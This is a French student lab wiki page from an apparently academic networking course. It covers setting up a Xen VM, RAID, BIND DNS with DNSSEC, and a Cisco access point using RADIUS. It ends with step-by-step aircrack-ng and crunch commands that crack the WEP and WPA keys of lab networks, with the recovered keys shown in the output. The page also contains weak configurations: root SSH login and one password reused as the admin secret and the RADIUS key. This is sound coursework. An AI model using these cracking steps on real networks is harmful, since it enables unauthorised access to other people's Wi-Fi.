TP sysres IMA2a5 2021/2022 G12

De Wiki d'activités IMA

Création machine virtuelle

Installation d'une machine virtuelle sur Capbreton

Dans un premier temps, on dois créer une machine virtuelle sur le serveur distant. On s'y connecte donc en tant que superuser :

 ssh -4 root@capbreton.plil.info

On créer alors la machine grâce à la commande qui suit :

 xen-create-image --force --hostname=Battlefield --ip=193.48.57.172 --gateway=193.48.57.174 --dir=/usr/local/xen --dist=buster

La machine est alors créée sur capbreton.

Configuration des disques

On passe à la configuration des disques, pour créer un RAID5 :

 lvcreate -L1G -n Battlefield1 virtual 
 lvcreate -L1G -n Battlefield2 virtual 
 lvcreate -L1G -n Battlefield3 virtual 
 lvcreate -L1G -n Battlefield4 virtual

On augmente ensuite la taille des 4 disques :

 lvextend -L +9G /dev/virtual/Battlefield1
 lvextend -L +9G /dev/virtual/Battlefield2
 lvextend -L +9G /dev/virtual/Battlefield3
 lvextend -L +9G /dev/virtual/Battlefield4


On vérifie que les disques sont bien installés :

 lvdisplay 

Détail d'un disque installé :

 --- Logical volume ---
 LV Path                /dev/virtual/Battlefield1
 LV Name                Battlefield1
 VG Name                virtual
 LV UUID                gvf9pC-5DAB-1YGt-fYJ1-ecrM-nZG2-ZFCf41
 LV Write Access        read/write
 LV Creation host, time capbreton, 2021-09-24 08:40:48 +0200
 LV Status              available
 # open                 0
 LV Size                10.00 GiB
 Current LE             2560
 Segments               2
 Allocation             inherit
 Read ahead sectors     auto
 - currently set to     256
 Block device           254:57

Puis on formate les disques :

mke2fs /dev/virtual/Battlefield1
mke2fs /dev/virtual/Battlefield2
mke2fs /dev/virtual/Battlefield3
mke2fs /dev/virtual/Battlefield4

Configuration réseau

On modifie le fichier interface pour permettre à la machine virtuelle d'accéder à internet :

nano /etc/networks/interfaces 
# The primary network interface
auto eth0
iface eth0 inet6 auto
iface eth0 inet static
 address 10.60.100.172/24
 up ip address add dev eth0 193.48.57.172/32 ; ip route add default via 10.60.100.254 src 193.48.57.172
 down ip address del dev eth0 193.48.57.172/32 ; ip route del default via 10.60.100.254 src 193.48.57.172

Pour actualiser la configuration réseau on fais les commandes suivantes :

ifdown eth0
ifup eth0

Configuration ssh

Pour accéder à la machine virtuelle par ssh, on modifie le fichier suivant :

nano /etc/ssh/sshd_config
PermitRootLogin yes

Relancer le service ssh :

service ssh restart

On accède désormais à la machine virtuelle par la commande :

ssh root@193.48.57.172

Configuration DNS

J'achète le nom de domaine bffield.store sur gandi.net

Pour associer le nom de domaine à l'adresse IP dans gandi, dans l'onglet Glue Records --> Add

Dans l'onglet Nameserver, sélectionner change puis : Nameserver1 : ns.bffield.store Nameserver2 : ns.gandi6.net

On modifie la configuration DNS :

nano /etc/bind/named.conf.options
options {
        directory "/var/cache/bind";
        #dnssec-validation auto;
        listen-on-v6 { any; };
        allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
        217.70.177.40/32;
};

On modifie le fichier de configuration :

nano /etc/bind/db.bffield.store
$TTL 3600
@ IN SOA ns.bffield.store postmaster.bffield.store (
      1               ; Version
      1800             ; Refresh (30m)
      600             ; Retry   (10m)
      3600             ; Expire (1h)
      3600 )           ; Minimum TTL (1h)
@ IN NS ns.bffield.store.
@ IN NS ns6.gandi.net.
ns      IN A       193.48.57.172

On modifie le fichier de configuration pour déclarer les zones associées au domaine :

nano /etc/bind/named.conf.local
zone "bffield.store" {
        type master;
        file "etc/bind/db.bffield.store";
};

Sécurisation web

Obtention d'un certificat via OpenSSL :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout bffield.store.key -out bffield.store.csr

Acheter un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL.csr.


Sécurisation serveur DNS

Dé-commenter la ligne suivante dans le fichier named.conf.options :

dnssec-enable yes

Créer un repertoire bffield.store.space.dnssec pour y génerer des clefs :

dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE bffield.store
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE bffield.store

Renommer les clefs :

mv Kbffield.store.+005+26968.key bffield.store-ksk.key
mv Kbffield.store.+005+26968.private bffield.store-ksk.private
mv Kbffield.store.+005+27570.key bffield.store-zsk.key
mv Kbffield.store.+005+27570.private bffield.store-zsk.private

On modifie le fichier db.bffield.store :

$include /etc/bind/bffield.store.dnssec/bffield.store-ksk.key
$include /etc/bind/bffield.store.dnssec/bffield.store-zsk.key

Signer les enregistrements à partir du répertoire bffield.store.space.dnssec

dnssec-signzone -o bffield.store -k bffield.store-ksk  ../db.bffield.store bffield.store-zsk

Modifier le fichier named.conf.local pour utiliser db.bffield.store.signed

zone "bffield.store" {
       type master;
       file "etc/bind/db.bffield.store.signed";
};

Installation Apache

Installer apache :

apt-get install apache2

Configuration du point d'accès wifi

Réinitialisation des paramètres de la borne wifi :

erase startup config
reload

Configuration de base :

ap>enable
ap#configure terminal

Configuration du nom d'hôte :

ap(config)#hostname SE2A5-AP1

Accès ssh :

SE2A5-AP1(config)#aaa new-model
SE2A5-AP1(config)#username admin privilege 15 secret glopglop
SE2A5-AP1(config)#ip domain-name plil.info
SE2A5-AP1(config)#crypto key generate rsa general-keys modulus 2048
SE2A5-AP1(config)#ip ssh version 2
SE2A5-AP1(config)#line vty 0 15
SE2A5-AP1(config-line)#transport input ssh
SE2A5-AP1(config-line)#exit

Sécurisation des accès :

SE2A5-AP1(config)#service password-encryption
SE2A5-AP1(config)#enable secret glopglop
SE2A5-AP1(config)#banner motd #Restricted Access#

VLAN 172

aaa authentication login EAP_TOAD group RADIUS_BATTLEFIELD
radius-server host 193.48.57.172 auth-port 1812 acct-port 1813 key glopglop
aaa group server radius RADIUS_BATTLEFIELD
server 193.48.57.172 auth-port 1812 acct-port 1813
exit
dot11 ssid BATTLEFIELD1
mbssid guest-mode
vlan 172
authentication open eap EAP_BATTLEFIELD
authentication network-eap EAP_BATTLEFIELD
authentication key-management wpa
exit
interface dot11radio0.172
encapsulation dot1q 172
bridge-group 72
exit
interface g0.172
encapsulation dot1q 172
bridge-group 72
exit
interface dot11radio 0
no shutdown
encryption vlan 172 mode ciphers aes-ccm tkip
mbssid
ssid BATTLEFIELD1
exit

On procède de la même manière pour créer le deuxième point d'accès Wifi BATTLEFIELD2

Craquage de clés

Craquage clé WEP

Pour cette partie, nous allons casser la clé WEP du réseau "Cracotte 01".

Tout d'abord, on installe l'utilitaire aircrack-ng

 su -
 apt install aircrack-ng

On prend une clé USB Wifi et on vérifie qu'elle est reconnue par l'ordinateur :

 lsusb
Bus 003 Device 009: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 010: ID 413c:2005 Dell Computer Corp. RT7D50 Keyboard
Bus 001 Device 007: ID 413c:301a Dell Computer Corp. 
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

La clé wifi est bien reconnue par le PC : Bus 003 Device 009: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter

On récupère le nom de l'interface de la clé Wifi :

airmon-ng 


On renomme l'interface en wlan0mon, nous allons utiliser la commande suivante pour passer la carte Wifi en monitor :

 airmon-ng start wlx40a5ef059e47

On va ensuite faire cette commande afin d'écouter les trames Wifi de la clé USB:

 airodump-ng wlan0mon

On obtient alors les informations suivantes :

BSSID                 PWR     Beacons    #Data,   #/s      CH      MB      ENC     CIPHER   AUTH ESSID
04:DA:D2:9C:50:50     -40           2      3       4        3      54e      WEP     WEP         cracotte01

On récupère dans un fichier .cap toutes les données qui transitent sur le channel 3, uniquement les paquets échangés avec cracotte01 :

airodump-ng -w lcrack -c 3 --bssid 04:DA:D2:9C:50:50 wlan0mon

On attends qu'il y ai au moins 30 000 trames récupérées puis on lance le crackage de la clé :

 aircrack-ng lcrack-01.cap

Après 5-10min, on obtient le code de la clé Wifi :

                                   Aircrack-ng 1.5.2 


                      [00:00:00] Tested 721 keys (got 665952 IVs)

  KB    depth   byte(vote)
   0    1/  2   27(703488) 1D(696832) 92(694528) EB(692224) A6(689408) 9D(688896) 
   1    2/  1   D0(698112) 65(697344) A7(696320) 0D(695296) 21(693504) 3A(692224) 
   2    1/  3   9B(701440) FC(697344) 2E(695808) 6D(692224) 57(689152) CF(688640) 
   3    1/  5   BB(703232) 30(700416) A6(699392) AB(699136) C2(696064) 36(695296) 
   4   13/  4   35(687104) D6(686592) 76(686080) 23(685824) 48(685824) 63(685568) 

            KEY FOUND! [ 12:34:56:78:9A:BC:02:CB:A9:87:65:43:21 ] 

Decrypted correctly: 100%

Craquage clé WPA

On vérifie que notre utilitaire aircrack est bien installé, sinon on refait la commande :

apt-get install aircrack-ng

Listing de toutes les interfaces Wi-Fi

airmon-ng

On obtient la liste ci-dessous :

PHY	Interface	  Driver	  Chipset
phy0	wlx40a5ef059e47	  rt2800usb       Ralink Technology, Corp. RT5370 

On passe la carte Wifi en mode monitor :

airmon-ng start wlx40a5ef059e47	

On observe les trames de réseaux avec la commande :

airodump-ng wlan0mon

On récupère le BSSID de krakotte01 et le channel : 44:AD:D9:5F:87:00 sur le channel 8 On enregistre alors les trames qui passent sur krakotte01 dans un fichier krakotte.txt :

airodump-ng -c 8 --bssid 44:AD:D9:5F:87:00 -w krakotte.txt wlan0mon

On attend environ 1/4 d'heure pour récupérer suffisamment de trames.

Exécution de Aircrack :

On créé alors un dictionnare contenant l'ensemble des mots de passes potentiels. On sait que la clé WPA est composée de 8 chiffres aléatoires, donc le dictionnaire contient 100 000 000 possibilités et est créé grâce à la commande suivante :

crunch 8 8 0123456789 >> dico.txt

Pour accélerer le processus de crackage, on divise le dictionnaire en 5 fichiers :

split -b 200m dico.txt

On peut vérifier que cela a bien fonctionné en regardant le contenu des fichiers générés

ls
>> xaa
>> xab
>> xac
>> xad
>> xae

Posséder ces différents fichiers va me permettre d'exécuter la commande aircrack-ng sur d'autres zabeth de manière à diminuer le temps de recherche du mot de passe.

Cassage de la clef WPA :

aircrack-ng -w xaa krakotte01.cap
aircrack-ng -w xab krakotte01.cap
aircrack-ng -w xac krakotte01.cap
aircrack-ng -w xad krakotte01.cap
aircrack-ng -w xae krakotte01.cap

Résultat :

                           Aircrack-ng 1.5.2 

   [08:04:01] 66637843/102795810 keys tested (958.44 k/s) 

   Time left: 10 hours, 29 minutes, 3 seconds                64.83%

                        KEY FOUND! [ 66601666 ]

   Master Key     : 43 33 CD 6B EA 53 29 36 F9 53 21 00 33 0A 1A 45 
                    18 E3 D5 1D DD 1C 37 29 B9 6B 49 32 24 80 02 E5 

   Transient Key  : 77 A3 E9 BF CE FD D1 2B D9 62 3B 15 3C D5 2C 20 
                    59 59 19 3E AF 62 8F C9 1A 48 9C 1B 4B A4 89 70 
                    B3 4C 79 2A 0A FB C9 71 1F 10 01 BE A5 FA 96 41 
                    18 04 12 0E 01 91 DD EA B2 96 17 F3 69 AC 7C F5 

   EAPOL HMAC     : DA 48 8D 5E B4 0E F9 78 63 C7 8E 01 56 40 82 10